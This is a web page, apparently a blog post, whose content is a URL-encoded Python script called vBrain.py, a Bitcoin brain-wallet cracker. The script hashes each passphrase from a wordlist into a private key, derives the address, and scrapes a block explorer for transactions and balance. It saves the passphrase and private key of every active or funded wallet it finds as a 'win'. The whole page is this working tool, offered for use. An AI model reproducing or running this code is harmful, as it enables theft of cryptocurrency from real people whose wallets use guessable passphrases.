2022-11-29

vBrain.py

[pastacode lang=”python” manual=”import%20codecs%20%2C%20random%20%2C%20hashlib%20%2C%20ecdsa%20%2C%20sys%20%2C%20time%0Afrom%20time%20import%20sleep%0Afrom%20rich.console%20import%20Console%0Afrom%20rich%20import%20print%0Afrom%20rich.panel%20import%20Panel%0Afrom%20rich.console%20import%20Console%0Afrom%20lxml%20import%20html%0Aimport%20requests%0Aimport%20threading%0A%0Aconsole%20%3D%20Console()%0Aconsole.clear()%0A%0Afilexname%20%3D%20input(‘INSERT%20HERE%20File%20Name%20%3C———%7CWithout%20type%20file%20.txt%7C———-%3E%20%3A%20′)%0A%23%0Adef%20Bal(address)%20%3A%0A%20%20%20%20urlblock%20%3D%20%22https%3A%2F%2Fbitcoin.atomicwallet.io%2Faddress%2F%22%2Baddress%0A%20%20%20%20respone_block%20%3D%20requests.get(urlblock)%0A%20%20%20%20byte_string%20%3D%20respone_block.content%0A%20%20%20%20source_code%20%3D%20html.fromstring(byte_string)%0A%20%20%20%20xpatch_txid%20%3D%20’%2Fhtml%2Fbody%2Fmain%2Fdiv%2Fdiv%5B2%5D%2Fdiv%5B1%5D%2Ftable%2Ftbody%2Ftr%5B3%5D%2Ftd%5B2%5D’%0A%20%20%20%20treetxid%20%3D%20source_code.xpath(xpatch_txid)%0A%20%20%20%20xVol%20%3D%20str(treetxid%5B0%5D.text_content())%0A%20%20%20%20return%20xVol%0A%0A%0Adef%20xBal(address)%20%3A%0A%20%20%20%20urlblock%20%3D%20%22https%3A%2F%2Fbitcoin.atomicwallet.io%2Faddress%2F%22%2Baddress%0A%20%20%20%20respone_block%20%3D%20requests.get(urlblock)%0A%20%20%20%20byte_string%20%3D%20respone_block.content%0A%20%20%20%20source_code%20%3D%20html.fromstring(byte_string)%0A%20%20%20%20xpatch_txid%20%3D%20’%2Fhtml%2Fbody%2Fmain%2Fdiv%2Fdiv%5B2%5D%2Fdiv%5B1%5D%2Ftable%2Ftbody%2Ftr%5B4%5D%2Ftd%5B2%5D’%0A%20%20%20%20treetxid%20%3D%20source_code.xpath(xpatch_txid)%0A%20%20%20%20xVol%20%3D%20str(treetxid%5B0%5D.text_content())%0A%20%20%20%20return%20xVol%0A%0A%0Amylist%20%3D%20%5B%5D%0A%0Afilename%20%3D%20str(filexname%2B%22.txt%22)%0Awith%20open(filename%2C%20newline%20%3D%20”%20%2C%20encoding%20%3D%20’utf-8’)%20as%20f%20%3A%0A%20%20%20%20for%20line%20in%20f%20%3A%0A%20%20%20%20%20%20%20%20mylist.append(line.strip())%0A%0A%0Aclass%20BrainWallet%20%3A%0A%0A%20%20%20%20%40staticmethod%0A%20%20%20%20def%20generate_address_from_passphrase(passphrase)%20%3A%0A%20%20%20%20%20%20%20%20private_key%20%3D%20str(hashlib.sha256(%0A%20%20%20%20%20%20%20%20%20%20%20%20passphrase.encode(‘utf-8′)).hexdigest())%0A%20%20%20%20%20%20%20%20address%20%3D%20BrainWallet.generate_address_from_private_key(private_key)%0A%20%20%20%20%20%20%20%20return%20private_key%20%2C%20address%0A%0A%20%20%20%20%40staticmethod%0A%20%20%20%20def%20generate_address_from_private_key(private_key)%20%3A%0A%20%20%20%20%20%20%20%20public_key%20%3D%20BrainWallet.__private_to_public(private_key)%0A%20%20%20%20%20%20%20%20address%20%3D%20BrainWallet.__public_to_address(public_key)%0A%20%20%20%20%20%20%20%20return%20address%0A%0A%20%20%20%20%40staticmethod%0A%20%20%20%20def%20__private_to_public(private_key)%20%3A%0A%20%20%20%20%20%20%20%20private_key_bytes%20%3D%20codecs.decode(private_key%20%2C%20’hex’)%0A%20%20%20%20%20%20%20%20key%20%3D%20ecdsa.SigningKey.from_string(%0A%20%20%20%20%20%20%20%20%20%20%20%20private_key_bytes%20%2C%20curve%20%3D%20ecdsa.SECP256k1).verifying_key%0A%20%20%20%20%20%20%20%20key_bytes%20%3D%20key.to_string()%0A%20%20%20%20%20%20%20%20key_hex%20%3D%20codecs.encode(key_bytes%20%2C%20’hex’)%0A%20%20%20%20%20%20%20%20bitcoin_byte%20%3D%20b’04’%0A%20%20%20%20%20%20%20%20public_key%20%3D%20bitcoin_byte%2Bkey_hex%0A%20%20%20%20%20%20%20%20return%20public_key%0A%0A%20%20%20%20%40staticmethod%0A%20%20%20%20def%20__public_to_address(public_key)%20%3A%0A%20%20%20%20%20%20%20%20public_key_bytes%20%3D%20codecs.decode(public_key%20%2C%20’hex’)%0A%20%20%20%20%20%20%20%20%23%20Run%20SHA256%20for%20the%20public%20key%0A%20%20%20%20%20%20%20%20sha256_bpk%20%3D%20hashlib.sha256(public_key_bytes)%0A%20%20%20%20%20%20%20%20sha256_bpk_digest%20%3D%20sha256_bpk.digest()%0A%20%20%20%20%20%20%20%20ripemd160_bpk%20%3D%20hashlib.new(‘ripemd160′)%0A%20%20%20%20%20%20%20%20ripemd160_bpk.update(sha256_bpk_digest)%0A%20%20%20%20%20%20%20%20ripemd160_bpk_digest%20%3D%20ripemd160_bpk.digest()%0A%20%20%20%20%20%20%20%20ripemd160_bpk_hex%20%3D%20codecs.encode(ripemd160_bpk_digest%20%2C%20’hex’)%0A%20%20%20%20%20%20%20%20network_byte%20%3D%20b’00’%0A%20%20%20%20%20%20%20%20network_bitcoin_public_key%20%3D%20network_byte%2Bripemd160_bpk_hex%0A%20%20%20%20%20%20%20%20network_bitcoin_public_key_bytes%20%3D%20codecs.decode(%0A%20%20%20%20%20%20%20%20%20%20%20%20network_bitcoin_public_key%20%2C%20’hex’)%0A%20%20%20%20%20%20%20%20sha256_nbpk%20%3D%20hashlib.sha256(network_bitcoin_public_key_bytes)%0A%20%20%20%20%20%20%20%20sha256_nbpk_digest%20%3D%20sha256_nbpk.digest()%0A%20%20%20%20%20%20%20%20sha256_2_nbpk%20%3D%20hashlib.sha256(sha256_nbpk_digest)%0A%20%20%20%20%20%20%20%20sha256_2_nbpk_digest%20%3D%20sha256_2_nbpk.digest()%0A%20%20%20%20%20%20%20%20sha256_2_hex%20%3D%20codecs.encode(sha256_2_nbpk_digest%20%2C%20’hex’)%0A%20%20%20%20%20%20%20%20checksum%20%3D%20sha256_2_hex%5B%3A8%5D%0A%20%20%20%20%20%20%20%20address_hex%20%3D%20(network_bitcoin_public_key%2Bchecksum).decode(‘utf-8’)%0A%20%20%20%20%20%20%20%20wallet%20%3D%20BrainWallet.base58(address_hex)%0A%20%20%20%20%20%20%20%20return%20wallet%0A%0A%20%20%20%20%40staticmethod%0A%20%20%20%20def%20base58(address_hex)%20%3A%0A%20%20%20%20%20%20%20%20alphabet%20%3D%20’123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz’%0A%20%20%20%20%20%20%20%20b58_string%20%3D%20”%0A%20%20%20%20%20%20%20%20leading_zeros%20%3D%20len(address_hex)-len(address_hex.lstrip(‘0′))%0A%20%20%20%20%20%20%20%20address_int%20%3D%20int(address_hex%20%2C%2016)%0A%20%20%20%20%20%20%20%20while%20address_int%20%3E%200%20%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20digit%20%3D%20address_int%2558%0A%20%20%20%20%20%20%20%20%20%20%20%20digit_char%20%3D%20alphabet%5Bdigit%5D%0A%20%20%20%20%20%20%20%20%20%20%20%20b58_string%20%3D%20digit_char%2Bb58_string%0A%20%20%20%20%20%20%20%20%20%20%20%20address_int%20%2F%2F%3D%2058%0A%20%20%20%20%20%20%20%20ones%20%3D%20leading_zeros%2F%2F2%0A%20%20%20%20%20%20%20%20for%20one%20in%20range(ones)%20%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20b58_string%20%3D%20’1’%2Bb58_string%0A%20%20%20%20%20%20%20%20return%20b58_string%0A%0A%0Adef%20MmDrza()%20%3A%0A%20%20%20%20s%20%3D%200%0A%20%20%20%20w%20%3D%200%0A%20%20%20%20count%20%3D%200%0A%20%20%20%20for%20i%20in%20range(0%20%2C%20len(mylist))%20%3A%0A%20%20%20%20%20%20%20%20count%20%2B%3D%202%0A%20%20%20%20%20%20%20%20passphrase%20%3D%20mylist%5Bi%5D%0A%20%20%20%20%20%20%20%20wallet%20%3D%20BrainWallet()%0A%20%20%20%20%20%20%20%20private_key%20%2C%20address%20%3D%20wallet.generate_address_from_passphrase(passphrase)%0A%20%20%20%20%20%20%20%20dec%20%3D%20int(private_key%20%2C%2016)%0A%20%20%20%20%20%20%20%20urlblock%20%3D%20%22https%3A%2F%2Fbitcoin.atomicwallet.io%2Faddress%2F%22%2Baddress%0A%20%20%20%20%20%20%20%20respone_block%20%3D%20requests.get(urlblock)%0A%20%20%20%20%20%20%20%20byte_string%20%3D%20respone_block.content%0A%20%20%20%20%20%20%20%20source_code%20%3D%20html.fromstring(byte_string)%0A%20%20%20%20%20%20%20%20xpatch_txid%20%3D%20’%2Fhtml%2Fbody%2Fmain%2Fdiv%2Fdiv%5B2%5D%2Fdiv%5B1%5D%2Ftable%2Ftbody%2Ftr%5B4%5D%2Ftd%5B2%5D’%0A%20%20%20%20%20%20%20%20treetxid%20%3D%20source_code.xpath(xpatch_txid)%0A%20%20%20%20%20%20%20%20xVol%20%3D%20str(treetxid%5B0%5D.text_content())%0A%20%20%20%20%20%20%20%20bal%20%3D%20str(xVol)%0A%20%20%20%20%20%20%20%20ifbtc%20%3D%20’0%20BTC’%0A%20%20%20%20%20%20%20%20if%20int(bal)%20%3E%200%20%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20urlblock1%20%3D%20%22https%3A%2F%2Fbitcoin.atomicwallet.io%2Faddress%2F%22%2Baddress%0A%20%20%20%20%20%20%20%20%20%20%20%20respone_block1%20%3D%20requests.get(urlblock1)%0A%20%20%20%20%20%20%20%20%20%20%20%20byte_string1%20%3D%20respone_block1.content%0A%20%20%20%20%20%20%20%20%20%20%20%20source_code1%20%3D%20html.fromstring(byte_string1)%0A%20%20%20%20%20%20%20%20%20%20%20%20xpatch_txid1%20%3D%20’%2Fhtml%2Fbody%2Fmain%2Fdiv%2Fdiv%5B2%5D%2Fdiv%5B1%5D%2Ftable%2Ftbody%2Ftr%5B3%5D%2Ftd%5B2%5D’%0A%20%20%20%20%20%20%20%20%20%20%20%20treetxid1%20%3D%20source_code1.xpath(xpatch_txid1)%0A%20%20%20%20%20%20%20%20%20%20%20%20xVol1%20%3D%20str(treetxid1%5B0%5D.text_content())%0A%20%20%20%20%20%20%20%20%20%20%20%20val%20%3D%20str(xVol1)%0A%20%20%20%20%20%20%20%20%20%20%20%20MmdrzaPanel%20%3D%20str(%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20’%5Bgold1%20on%20grey15%5DTotal%20Checked%3A%20’%2B’%5Borange_red1%5D’%2Bstr(count)%2B’%5B%2F%5D%5Bgold1%20on%20grey15%5D%20’%2B’%20Win%3A’%2B’%5Bwhite%5D’%2Bstr(w)%2B’%5B%2F%5D’%2B’%5B%2F%5D%5Bgold1%5D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20TX%3A%20’%2B’%5B%2F%5D%5Baquamarine1%5D’%2Bstr(%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20bal)%2B’%5Bgold1%5D%20%20BAL%3A%5Baquamarine1%5D’%2Bstr(val)%2B’%5Cn%5B%2F%5D%5Bgold1%20on%20grey15%5DAddr%3A%20’%2B’%5Bwhite%5D%20’%2Bstr(address)%2B’%5Bgold1%20on%20grey15%5D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Passphrase%3A%20’%2B’%5Borange_red1%5D’%2Bstr(passphrase)%2B’%5B%2F%5D%5CnPRIVATEKEY%3A%20%5Bgrey54%5D’%2Bstr(private_key)%2B’%5B%2F%5D’)%0A%20%20%20%20%20%20%20%20%20%20%20%20style%20%3D%20%22gold1%20on%20grey11%22%0A%20%20%20%20%20%20%20%20%20%20%20%20f1%20%3D%20open(u%22vBrain_%22%2Bstr(filexname)%2B%22_TX.txt%22%20%2C%20%22a%22)%0A%20%20%20%20%20%20%20%20%20%20%20%20f1.write(‘%5CnBitcoin%20Address%20Compressed%20%3A%20’%2Baddress%2B’%20%20TX%20%3D%20’%2Bstr(bal))%0A%20%20%20%20%20%20%20%20%20%20%20%20f1.write(‘%5CnPassphrase%20%20%20%20%20%20%20%3A%20’%2Bpassphrase)%0A%20%20%20%20%20%20%20%20%20%20%20%20f1.write(‘%5CnPrivate%20Key%20%20%20%20%20%20%3A%20’%2Bprivate_key)%0A%20%20%20%20%20%20%20%20%20%20%20%20f1.write(‘%5CnBalance%3A%20’%2Bstr(val))%0A%20%20%20%20%20%20%20%20%20%20%20%20f1.write(‘%5Cn————–%20Programmer%20Mmdrza.Com%20———————-%5Cn’)%0A%20%20%20%20%20%20%20%20%20%20%20%20f1.close()%0A%20%20%20%20%20%20%20%20%20%20%20%20console.print(Panel(str(MmdrzaPanel)%20%2C%20title%20%3D%20%22%5Bwhite%5DWin%20Wallet%20%5B%2F%5D%22%20%2C%20subtitle%20%3D%20%22%5Bgreen_yellow%20blink%5D%20Mmdrza.Com%20%5B%2F%5D%22%20%2C%20style%20%3D%20%22red%22)%20%2C%20style%20%3D%20style%20%2C%20justify%20%3D%20%22full%22)%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20w%20%2B%3D%201%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20str(val)%20!%3D%20str(ifbtc)%20%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20s%20%2B%3D%201%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20MmdrzaB%20%3D%20str(%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20’%5Bgreen%20on%20grey15%5DTotal%20Checked%3A%20’%2B’%5Borange_red1%5D’%2Bstr(count)%2B’%5B%2F%5D%5Bgold1%20on%20grey15%5D%20’%2B’%20Win%3A’%2B’%5Bwhite%5D’%2Bstr(w)%2B’%5B%2F%5D’%2B’%5B%2F%5D%5Bgold1%5D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20TX%3A%20’%2B’%5B%2F%5D%5Baquamarine1%5D’%2Bstr(%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20bal)%2B’%5Bgold1%5D%20%20BAL%3A%5Baquamarine1%5D’%2Bstr(val)%2B’%5Cn%5B%2F%5D%5Bgold1%20on%20grey15%5DAddr%3A%20’%2B’%5Bwhite%5D%20’%2Bstr(address)%2B’%5B%2F%5D%5CnPRIVATEKEY%3A%20%5Bgrey54%5D’%2Bstr(private_key)%2B’%5B%2F%5D’)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20console.print(Panel(str(MmdrzaB)%20%2C%20title%20%3D%20%22%5Bwhite%5DWin%20Wallet%20%5B%2F%5D%22%20%2C%20subtitle%20%3D%20%22%5Bgreen_yellow%20blink%5D%20Mmdrza.Com%20%5B%2F%5D%22%20%2C%20style%20%3D%20%22green%22)%20%2C%20style%20%3D%20style%20%2C%20justify%20%3D%20%22full%22)%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20f%20%3D%20open(u%22vBrain_%22%2Bstr(filexname)%2B%22_Balance.txt%22%20%2C%20%22a%22)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20f.write(‘%5CnBitcoin%20Address%20Compressed%20%3A%20’%2Baddress%2B’%20%20TX%20%3D%20’%2Bstr(bal))%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20f.write(‘%5CnPassphrase%20%20%20%20%20%20%20%3A%20’%2Bpassphrase)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20f.write(‘%5CnPrivate%20Key%20%20%20%20%20%20%3A%20’%2Bprivate_key)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20f.write(‘%5CnBalance%3A%20’%2Bstr(val))%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20f.write(‘%5Cn————–%20Programmer%20Mmdrza.Com%20———————-%5Cn’)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20f.close()%0A%20%20%20%20%20%20%20%20else%20%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20console.print(‘%5Bgold1%20on%20grey7%5DScan%3A%5Blight_goldenred1%5D’%2Bstr(count)%2B’%5Bgold1%5D%20Tx%3A%5Bwhite%5D’%2Bstr(w)%2B’%5Bgreen%5D%20Rich%3A%5Bwhite%5D’%2Bstr(s)%2B’%5B%2F%5D%5Byellow%5D%20Add%3A%5Bgreen1%5D’%2Bstr(address)%2B’%5Bred1%5D%20%20TXID%3A%5Bwhite%5D’%2Bstr(%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20bal)%2B’%5Bgold1%5D%20%20Passphars%3A%5Bwhite%5D’%2Bstr(passphrase))%0A%0A%0Athr%20%3D%20threading.Thread(target%20%3D%20MmDrza%20%2C%20args%20%3D%20())%0Athr.start()%0Athr.join()” message=”” highlight=”” provider=”manual”/]